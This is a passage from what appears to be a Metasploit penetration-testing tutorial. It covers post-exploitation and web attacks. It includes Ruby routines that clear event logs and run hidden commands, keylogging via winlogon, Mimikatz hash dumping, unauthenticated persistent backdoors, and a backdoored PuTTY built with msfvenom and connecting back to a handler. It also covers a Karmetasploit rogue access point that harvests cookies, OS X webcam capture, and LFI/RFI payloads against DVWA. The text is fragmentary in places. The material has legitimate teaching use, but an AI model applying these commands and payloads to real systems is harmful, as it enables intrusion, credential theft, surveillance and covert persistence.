for determining what process the session is running under:
>> client.sys.process.getpid
=> 684
We can use API calls under ‘client.sys.net’ to gather information about the network configuration and environment in
the target host. To get a list of interfaces and their configuration we use the API call ‘client.net.config.interfaces’:
>> client.net.config.interfaces
=> [#, #]
>> client.net.config.interfaces.class
=> Array
#-------------------------------------------------------------------------------
c.close
tmpout
end
#-------------------------------------------------------------------------------
#-------------------------------------------------------------------------------
def checkuac(session)
uac = false
begin
winversion = session.sys.config.sysinfo
if winversion['OS']=~ /Windows Vista/ or winversion['OS']=~ /Windows 7/
print_status("Checking if UAC is enaled ...")
key = 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem'
root_key, base_key = session.sys.registry.splitkey(key)
value = "EnableLUA"
open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(value)
if v.data == 1
uac = true
else
uac = false
end
open_key.close_key(key)
end
rescue ::Exception => e
print_status("Error Checking UAC: #{e.class} #{e}")
end
return uac
end
#-------------------------------------------------------------------------------
def clrevtlgs(session)
evtlogs = [
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
]
print_status("Clearing Event Logs, this will leave and event 517")
begin
evtlogs.each do |evl|
print_status("tClearing the #{evl} Event Log")
log = session.sys.eventlog.open(evl)
log.clear
end
print_status("Alll Event Logs have been cleared")
(continues on next page)
end
end
#-------------------------------------------------------------------------------
def list_exec(session,cmdlst)
if cmdlst.kind_of? String
cmdlst = cmdlst.to_a
end
print_status("Running Command List ...")
r=''
session.response_timeout=120
cmdlst.each do |cmd|
begin
print_status "trunning command #{cmd}"
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized'
˓→=> true})
while(d = r.channel.read)
print_status("t#{d}")
end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
end
#-------------------------------------------------------------------------------
#-----------------------------------------------------
After successfully compromising a host, if the rules of engagement permit it, it is frequently a good idea to ensure that
you will be able to maintain your access for further examination or penetration of the target network. This also ensures
that you will be able to reconnect to your victim if you are using a one-off exploit or crash a service on the target. In
situations like these, you may not be able to regain access again until a reboot of the target is preformed.
Once you have gained access to one system, you can ultimately gain access to the systems that share the same subnet.
Pivoting from one system to another, gaining information about the users activities by monitoring their keystrokes,
and impersonating users with captured tokens are just a few of the techniques we will describe further in this module.
4.9.2 Keylogging
After you have exploited a system there are two different approaches you can take, either smash and grab or low and
slow.
Low and slow can lead to a ton of great information, if you have the patience and discipline. One tool you can use for
low and slow information gathering is the keystroke logger script with Meterpreter. This tool is very well designed,
allowing you to capture all keyboard input from the system, without writing anything to disk, leaving a minimal
forensic footprint for investigators to later follow up on. Perfect for getting passwords, user accounts, and all sorts of
other valuable information.
Lets take a look at it in action. First, we will exploit a system as normal.
meterpreter >
Then, we will migrate Meterpreter to the Explorer.exe process so that we don’t have to worry about the exploited
process getting reset and closing our session.
meterpreter > ps
Process list
============
Finally, we start the keylogger, wait for some time and dump the output.
Could not be easier! Notice how keystrokes such as control and backspace are represented.
As an added bonus, if you want to capture system login information you would just migrate to the winlogon process.
This will capture the credentials of all users logging into the system as long as this is running.
meterpreter > ps
Process list
=================
Here we can see by logging to the winlogon process allows us to effectively harvest all users logging into that system
and capture it. We have captured the Administrator logging in with a password of ‘ohnoes1vebeenh4x0red!’.
After going through all the hard work of exploiting a system, it’s often a good idea to leave yourself an easier way
back into it for later use. This way, if the service you initially exploited is down or patched, you can still gain access to
the system. To read about the original implementation of metsvc, refer to http://www.phreedom.org/software/metsvc/.
Using the metsvc backdoor, you can gain a Meterpreter shell at any point.
One word of warning here before we go any further: metsvc as shown here requires no authentication. This means
that anyone that gains access to the port could access your back door! This is not a good thing if you are conducting a
penetration test, as this could be a significant risk. In a real world situation, you would either alter the source to require
authentication, or filter out remote connections to the port through some other method.
First, we exploit the remote system and migrate to the ‘Explorer.exe’ process in case the user notices the exploited
service is not responding and decides to kill it.
meterpreter > ps
Process list
============
Before installing metsvc, let’s see what options are available to us.
meterpreter > run metsvc -h
[*]
OPTIONS:
meterpreter >
Since we’re already connected via a Meterpreter session, we won’t set it to connect back to us right away. We’ll just
install the service for now.
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\DOCUME~1\victim\LOCALS~
˓→1\Temp\JplTpVnksh...
(continues on next page)
meterpreter >
We will now use the multi/handler with a payload of ‘windows/metsvc_bind_tcp’ to connect to the remote system.
This is a special payload, as typically a Meterpreter payload is multi-stage, where a minimal amount of code is sent as
part of the exploit, and then more is uploaded after code execution has been achieved.
Think of a shuttle rocket, and the booster rockets that are used to get the space shuttle into orbit. This is much the
same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then
adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there
is no need for a staged connection.
We set all of our options for ‘metsvc_bind_tcp’ with the victim’s IP address and the port we wish to have the service
connect to on our machine. We then run the exploit.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(handler) > show options
Module options:
Exploit target:
Id Name
-- ----
0 Wildcard Target
Immediately after issuing ‘exploit’, our metsvc backdoor connects back to us.
meterpreter > ps
Process list
============
And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System
owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system
for them.
Maintaining access is a very important phase of penetration testing, unfortunately, it is one that is often overlooked.
Most penetration testers get carried away whenever administrative access is obtained, so if the system is later patched,
then they no longer have access to it.
Persistent backdoors help us access a system we have successfully compromised in the past. It is important to note
that they may be out of scope during a penetration test; however, being familiar with them is of paramount importance.
Let us look at a few persistent backdoors now!
Meterpreter Service
After going through all the hard work of exploiting a system, it’s often a good idea to leave yourself an easier way
back into the system for later use. This way, if the service you initially exploited is down or patched, you can still gain
access to the system. Metasploit has a Meterpreter script, persistence.rb, that will create a Meterpreter service that will
be available to you even if the remote system is rebooted.
One word of warning here before we go any further. The persistent Meterpreter as shown here requires no authentica-
tion. This means that anyone that gains access to the port could access your back door! This is not a good thing if you
are conducting a penetration test, as this could be a significant risk. In a real world situation, be sure to exercise the
utmost caution and be sure to clean up after yourself when the engagement is done.
Once we’ve initially exploited the host, we run the persistence script with the ‘-h’ switch to see which options are
available:
OPTIONS:
We will configure our persistent Meterpreter session to wait until a user logs on to the remote system and try to connect
back to our listener every 5 seconds at IP address 192.168.1.71 on port 443.
meterpreter >
Notice that the script output gives you the command to remove the persistent listener when you are done with it. Be
sure to make note of it so you don’t leave an unauthenticated backdoor on the system. To verify that it works, we
reboot the remote system and set up our payload handler.
When a user logs in to the remote system, a Meterpreter session is opened up for us.
The Metasploit Framework is such a versatile asset in every pentesters toolkit, it is no shock to see it being expanded
on constantly. Due to the openness of the Framework, as new technologies and exploits surface they are very rapidly
incorporated into the msf svn trunk or end users write their own modules and share them as they see fit.
We will be talking about backdooring .exe files, karmetasploit, and targeting Mac OS X.
4.10.1 Mimikatz
Mimikatz is a great post-exploitation tool written by Benjamin Delpy (gentilkiwi). After the initial exploitation phase,
attackers may want to get a firmer foothold on the computer/network. Doing so often requires a set of complementary
tools. Mimikatz is an attempt to bundle together some of the most useful tasks that attackers will want to perform.
Fortunately, Metasploit has decided to include Mimikatz as a meterpreter script to allow for easy access to its full set
of features without needing to upload any files to the disk of the compromised host.
Note: The version of Mimikatz in metasploit is v1.0, however Benjamin Delpy has already released v2.0 as a stand-
alone package on his website. This is relevant as a lot of the syntax has changed with the upgrade to v2.0.
Loading Mimikatz
After obtaining a meterpreter shell, we need to ensure that our session is running with SYSTEM level privileges for
Mimikatz to function properly.
Mimikatz supports 32bit and 64bit Windows architectures. After upgrading our privileges to SYSTEM, we need to
verify, with the sysinfo command, what the architecture of the compromised machine is. This will be relevant on 64bit
machines as we may have compromised a 32bit process on a 64bit architecture. If this is the case, meterpreter will
attempt to load a 32bit version of Mimikatz into memory, which will cause most features to be non-functional. This
can be avoided by looking at the list of running processes and migrating to a 64bit process before loading Mimikatz.
Since this is a 32bit machine, we can proceed to load the Mimikatz module into memory.
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commannd
msv Attempt to retrieve msv creds (hashes)
ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
Metasploit provides us with some built-in commands that showcase Mimikatz’s most commonly-used feature, dump-
ing hashes and clear text credentials straight from memory. However, the mimikatz_command option gives us full
access to all the features in Mimikatz.
Though slightly unorthodox, we can get a complete list of the available modules by trying to load a non-existent
feature.
Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion système
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privilèges
handle - Manipulation des handles
impersonate - Manipulation tokens d'accès
winmine - Manipulation du démineur
minesweeper - Manipulation du démineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir
˓→leurs propres module
To query the available options for these modules, we can use the following syntax.
meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable
Description du module : Fonctions diverses n'ayant pas encore assez de corps pour
˓→avoir leurs propres module
We can use both the built-in Metasploit commands as well as the native Mimikatz commands to extract hashes and
clear-text credentials from the compromised machine.
Built-In Metasploit:
Native Mimikatz:
Rid : 500
User : Administrator
LM :
NTLM : d6eec67681a3be111b5605849505628f
Rid : 501
User : Guest
LM :
NTLM :
Rid : 1000
User : HelpAssistant
LM : 6165cd1a0ebc61e470475c82cd451e14
NTLM :
Rid : 1002
User : SUPPORT_388945a0
LM :
NTLM : 771ee1fce7225b28f8aec4a88aea9b6a
Other Modules
The other Mimikatz modules contain a lot of useful features. A more complete feature list can be found on Benjamin
Delpy’s blog – http://blog.gentilkiwi.com/. Below are several usage examples to get an understanding of the syntax
employed.
The handle module can be used to list/kill processes and impersonate user tokens.
...snip...
The service module allows you to list, start, stop, and remove Windows services.
The crypto module allows you to list and export any certificates and their corresponding private keys that may be
stored on the compromised machine. This is possible even if they are marked as non-exportable.
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable
Mimikatz also includes a lot of novelty features. One of our favourites is a module that can read the location of mines
in the classic Windows Minesweeper game, straight from memory!
meterpreter > mimikatz_command -f winmine::infos
Mines : 99
Dimension : 16 lignes x 30 colonnes
Champ :
Creating customized backdoored executables often took a long period of time to do manually as attackers. The ability
to embed a Metasploit Payload in any executable that you want is simply brilliant. When we say any executable,
it means any executable. You want to backdoor something you download from the internet? How about iexplorer?
Or explorer.exe or putty, any of these would work. The best part about it is its extremely simple. We begin by first
downloading our legitimate executable, in this case, the popular PuTTY client.
100
˓→%[=================================================================================================
root@kali:/var/www#
Next, we use msfvenom to inject a meterpreter reverse payload into our executable and encoded it 3 times using
shikata_ga_nai and save the backdoored file into our web root directory.
Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection
back to our attacking machine.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
As soon as our victim downloads and executes our special version of PuTTY, we are presented with a meterpreter shell
on the target.
[*] Sending stage (749056 bytes) to 192.168.1.201
[*] Meterpreter session 1 opened (192.168.1.101:443 -> 192.168.1.201:1189) at Sat Feb
˓→05 08:54:25 -0700 2011
4.10.3 Karmetasploit
Karmetasploit is a great function within Metasploit, allowing you to fake access points, capture passwords, harvest
data, and conduct browser attacks against clients.
Karmetasploit Configuration
There is a bit of setup required to get Karmetasploit up and going on Kali Linux Rolling. The first step is to obtain the
run control file for Karmetasploit:
root@kali:~# wget https://www.offensive-security.com/wp-content/uploads/2015/04/
˓→ karma.rc_.txt
--2015-04-03 16:17:27-- https://www.offensive-security.com/downloads/karma.rc
Resolving www.offensive-security.com (www.offensive-security.com)... 198.50.176.211
Connecting to www.offensive-security.com (www.offensive-security.com)|198.50.176.
˓→211|:443... connected.
Having obtained that requirement, we need to set up a bit of the infrastructure that will be required. When clients
attach to the fake AP we run, they will be expecting to be assigned an IP address. As such, we need to put a DHCP
server in place. Let’s install a DHCP server onto Kali.
Next, let’s configure our ‘dhcpd.conf’ file. We will replace the configuration file with the following output:
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
Now we are ready to go. First off, we need to locate our wireless card, then start our wireless adapter in monitor mode
with airmon-ng. Afterwards we utilize airbase-ng to start a new wireless network.
root@kali:~# airmon-ng
PID Name
693 dhclient
934 wpa_supplicant
Airbase-ng has created a new interface for us, “at0”. This is the interface we will now utilize. We will now assign
ourselves an IP address.
Before we run our DHCP server, we need to create a lease database, then we can get it to listening on our new interface.
root@kali:~#
Karmetasploit in Action
Now, with everything ready, all that is left is to run Karmetasploit! We start up Metasploit, feeding it our run control
file.
At this point, we are up and running. All that is required now is for a client to connect to the fake access point. When
they connect, they will see a fake “captive portal” style screen regardless of what website they try to connect to. You
can look through your output, and see that a wide number of different servers are started. From DNS, POP3, IMAP,
to various HTTP servers, we have a wide net now cast to capture various bits of information.
Now lets see what happens when a client connects to the fake AP we have set up.
msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.msn.com)
[*] HTTP REQUEST 10.0.0.100 > www.msn.com:80 GET / Windows IE 5.01 cookies=MC1=V=3&
˓→GUID=e2eabc69be554e3587acce84901a53d3; MUID=E7E065776DBC40099851B16A38DB8275;
˓→ushpwea=wc:USNE0363; wpv=2
˓→ruby/1.8/sqlite3
...snip...
[*] HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > gather.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > gmail.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01
˓→cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-
˓→zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_
˓→IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01
˓→cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:S=snePRUjY-
˓→zgcXpEV; NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_
˓→IbBocsb3m4eFCH6hI1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > linkedin.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > livejournal.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
...snip...
[*] HTTP REQUEST 10.0.0.100 > www.monster.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
[*] HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
[*] HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
[*] HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] Created UxsjordQ.exe...
[*] HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 5.01 cookies=
[*] Connecting to the Service Control Manager...
[*] HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > www.gather.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
[*] HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 5.01
˓→cookies=
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 10.0.0.1:45017 -> 10.0.0.100:1364
Wow! That was a lot of output! Please take some time to read through the output, and try to understand what is
happening.
Let’s break down some of the output a bit here
Here we see DNS lookups which are occurring. Most of these are initiated by Karmetasploit in attempts to gather
information from the client.
[*] HTTP REQUEST 10.0.0.100 > gmail.google.com:80 GET /forms.html Windows IE 5.01
˓→ cook
ies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:
˓→S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6h
˓→I1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
[*] HTTP REQUEST 10.0.0.100 > google.com:80 GET /forms.html Windows IE 5.01
˓→cookies=PREF=ID=474686c582f13be6:U=ecaec12d78faa1ba:TM=1241334857:LM=1241334880:
˓→S=snePRUjY-zgcXpEV;NID=22=nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4e
˓→FCH6hI1ae23g hwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
Here we can see Karmetasploit collecting cookie information from the client. This could be useful information to use
in attacks against the user later on.
Here is where it gets really interesting! We have obtained the password hashes from the system, which can then be
used to identify the actual passwords. This is followed by the creation of a Meterpreter session.
Now we have access to the system, lets see what we can do with it.
msf auxiliary(http) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ps
Process list
============
Wonderful. Just like any other vector, our Meterperter session is working just as we expected.
However, there can be a lot that happens in Karmetasploit really fast and making use of the output to standard out may
not be usable. Let’s look at another way to access the logged information. We will interact with the karma.db that is
With the information gained from the schema, let’s interact with the data we have gathered. First, we will list all
the systems that we logged information from, then afterward, dump all the information we gathered while they were
connected.
˓→utmccn=(organic)|utmcsr=google|utmctr=firefox|utmcmd=organic
3|2009-05-09 23:47:05|1|http_cookies|adwords.google.com
˓→PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-
˓→p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_
˓→Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;
˓→SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_
˓→Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-
˓→XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
˓→#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530384:A
˓→#2dd086ca2a46e9e50fff44e0ec48cb811st0:1242530384:B; s_vsn_facebookpoc_
˓→1=7269814957402
˓→p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_
˓→Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;
˓→SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_
˓→Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-
˓→XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
16|2009-05-09 23:47:07|1|http_cookies|google.com
˓→PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-
˓→p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_
˓→Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;
˓→SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_
˓→Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-
˓→XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
101|2009-05-09 23:50:03|1|http_cookies|safebrowsing.clients.google.com
˓→PREF=ID=ee60297d21c2a6e5:U=ecaec12d78faa1ba:TM=1241913986:LM=1241926890:GM=1:S=-
˓→p5nGxSz_oh1inss; NID=22=Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_
˓→Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq;
˓→SID=DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_
˓→Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-
˓→XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
sqlite>
4.10.4 MSF vs OS X
One of the more interesting things about the Mac platform is how cameras are built into all of their laptops. This fact
has not gone unnoticed by Metasploit developers, as there is a very interesting module that will take a picture with the
built in camera.
Lets see it in action. First we generate a stand alone executable to transfer to a OS X system:
root@kali:~# msfvenom -a x86 --platform OSX -p osx/x86/isight/bind_tcp -b "\x00" -f
˓→elf -o /tmp/osxt2
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 171 (iteration=0)
x86/shikata_ga_nai chosen with final size 171
Payload size: 171 bytes
So, in this scenario we trick the user into executing the executable we have created, then we use ‘multi/handler’ to
connect in and take a picture of the user.
msf > use multi/handler
msf exploit(handler) > set PAYLOAD osx/x86/isight/bind_tcp
PAYLOAD => osx/x86/isight/bind_tcp
msf exploit(handler) > show options
Module options:
Exploit target:
Id Name
-- ----
0 Wildcard Target
Very interesting! It appears we have a picture! Lets see what it looks like.
Amongst its many tricks, Metasploit also allows us to generate and handle Java based shells to gain remote access to
a system. There are a great deal of poorly written web applications out there that can allow you to upload an arbitrary
file of your choosing and have it run just by calling it in a browser.
We begin by first generating a reverse-connecting jsp shell and set up our payload listener.
At this point, we need to upload our shell to the remote web server that supports jsp files. With our file uploaded to
the server, all that remains is for us to request the file in our browser and receive our shell.
hostname
hostname
xen-xp-sploit
Windows IP Configuration
Remote File Inclusion (RFI) and Local File Inclusion (LFI) are vulnerabilities that are often found in poorly-written
web applications. These vulnerabilities occur when a web application allows the user to submit input into files or
upload files to the server.
LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim machine. This can be very
dangerous because if the web server is misconfigured and running with high privileges, the attacker may gain access
to sensitive information. If the attacker is able to place code on the web server through other means, then they may be
able to execute arbitrary commands.
RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker
is able to execute code hosted on their own machine.
In order to demonstrate these techniques, we will be using the Damn Vulnerable Web Application (DVWA) within
metasploitable. Connect to metasploitable from your browser and click on the DVWA link.
The credentials to login to DVWA are: admin / password
Once we are authenticated, click on the “DVWA Security” tab on the left panel. Set the security level to ‘low’ and
click ‘Submit’, then select the “File Inclusion” tab.
. . . . image:: img/web_delivery0-2.png
On the file inclusion page, click on the view source button on the bottom right. If your security setting is successfully
set to low, you should see the following source code:
This piece of code in itself is not actually vulnerable, so where is the vulnerability? For a regular attacker who does
not already have root access to the machine, this could be where their investigation ends. The $_GET variable is
interesting enough that they would begin testing or scanning for file inclusion. Since we already have root access to
the machine, lets try harder and see if we can find out where the vulnerability comes from.
SSH to metasploitable with the following credentials: msfadmin / msfadmin.
We can use cat to view the index.php within the /var/www/dvwa/vulnerabilities/fi/ directory.
Looking at the output, we can see that there is a switch statement on line 15, which takes the security setting as
input and breaks depending on which setting is applied. Since we have selected “low”, the code proceeds to call
/source/low.php. If we look farther down in index.php, we can see that line 35 says:
include($file);
And there we have it! We’ve found the location of the vulnerability. This code is vulnerable because there is no
sanitization of the user-supplied input. Specifically, the $file variable is not being sanitized before being called by the
include() function.
If the web server has access to the requested file, any PHP code contained inside will be executed. Any non-PHP code
in the file will be displayed in the user’s browser.
Now that we understand how a file inclusion vulnerability can occur, we will exploit the vulnerabilities on the in-
clude.php page.
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
The “../” characters used in the example above represent a directory traversal. The number of “../” sequences depends
on the configuration and location of the target web server on the victim machine. Some experimentation may be
required.
We can see that the contents of /etc/passwd are displayed on the screen. A lot of useful information about the host can
be obtained this way. Some interesting files to look for include, but are not limited to:
Sometimes during a Local File Inclusion, the web server appends “.php” to the included file. For example, including
“/etc/passwd” gets rendered as “/etc/passwd.php”. This occurs when the include function uses a parameter like “?page”
and concatenates the .php extension to the file. In versions of PHP below 5.3, ending the URL with a null byte (%00)
would cause the interpreter to stop reading, which would allow the attacker to include their intended page.
This part of the demonstration requires some initial setup. We will take this as an opportunity to develop some Linux
command line and PHP skills.
In order for an RFI to be successful, two functions in PHP’s configuration file need to be set. “allow_url_fopen” and
“allow_url_include” both need to be “On”. From the PHP documentation, we can see what these configurations do.
allow_url_fopen – “This option enables the URL-aware fopen wrappers that enable accessing URL object like files.
Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib
may register additional wrappers.”
allow_url_include – “This option allows the use of URL-aware fopen wrappers with the following functions: include,
include_once, require, require_once”
To find DVWA’s configuration file, click on the “PHP info” tab on the left panel. This screen gives us a large amount
of useful information, including the PHP version, the operating system of the victim, and of course, the configuration
file. We can see that the loaded file is “/etc/php5/cgi/php.ini”.
In metasploitable, we can open the php.ini file using nano:
In nano, type “ctrl-w” to find a string. Type in “allow_url” and hit enter. We should now be on line 573 of the php.ini
file (type “ctrl-c” to find the current line in nano). Make sure that “allow_url_fopen” and “allow_url_include” are both
set to “On”. Save your file with “ctrl-o”, and exit with “ctrl-x”. Now, restart metasploitable’s web server with:
msfadmin: sudo /etc/init.d/apache2 restart
In Kali, we need to set up our own web server for testing. First, create a test file called “rfi-test.php” and then start
apache.
root@kali:~# echo "Success." > /var/www/html/rfi-test.php
root@kali:~# systemctl start apache2
Now we can test our RFI. On the “File Inclusion” page, type the following URL:
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=http://192.168.80.128/rfi-test.php
From the output displayed on the top of the browser, we can see that the page is indeed vulnerable to RFI.
To finish with this RFI, we’ll take a look at the php_include function on the PHP Meterpreter page
PHP Meterpreter
The Internet is littered with improperly coded web applications with multiple vulnerabilities being disclosed on a daily
basis. One of the more critical vulnerabilities is Remote File Inclusion (RFI) that allows an attacker to force PHP code
of their choosing to be executed by the remote site even though it is stored on a different site. Metasploit published
not only a php_include module but also a PHP Meterpreter payload. This is a continuation of the remote file inclusion
vulnerabilities page.
The php_include module is very versatile as it can be used against any number of vulnerable webapps and is not
product-specific. In order to make use of the file inclusion exploit module, we will need to know the exact path to the
vulnerable site.
Cookie Setup
We’ll be using the Damn Vulnerable Web Application (DVWA) on metasploitable. For this particular application, we
will need some cookie information from the web page. Specifically, we will need the PHP session ID of a logged on
session, as well as DVWA’s security setting.
To obtain the cookie information, we will use an Iceweasel add-on called “Cookies Manager+”. In Iceweasel, browse
to about:addons and search for “cookies manager+”. Download and install Cookies Manager+ and restart your
browser. Once logged into DVWA, go to tools -> Cookie Manager+ and find the entry for the victim IP-address.
Copy the value of PHPSESSID, and make sure that “security” is set to “low”.
Module Options
Loading the module in metasploit, we can see a great number of options available to us.
Module options (exploit/unix/webapp/php_include):
Exploit target:
Id Name
-- ----
0 Automatic
The most critical option to set in this particular module is the exact path to the vulnerable inclusion point. Where we
would normally provide the URL to our PHP shell, we simply need to place the text XXpathXX and Metasploit will
know to attack this particular point on the site.
In order to further show off the versatility of Metasploit, we will use the PHP Meterpreter payload.
Meterpreter : php/php
meterpreter >
Just like that, a whole new avenue of attack is opened up using Metasploit.
Building A Module
Writing your first Metasploit module can be a daunting task, especially if one does not code in Ruby on a regular basis.
Fortunately the language’s syntax is intuitive enough, for anyone with prior programming and scripting knowledge, to
make the transition (from Python for example) to Ruby.
Before taking the plunge into module construction and development, let’s take a quick look at the some of the modules
currently in place. These files can be used as our base for re-creating an attack on several different supported protocols,
or crafting ones own custom module.
root@kali:/usr/share/metasploit-framework/lib/msf/core/exploit# ls
afp.rb dect_coa.rb mixins.rb smb
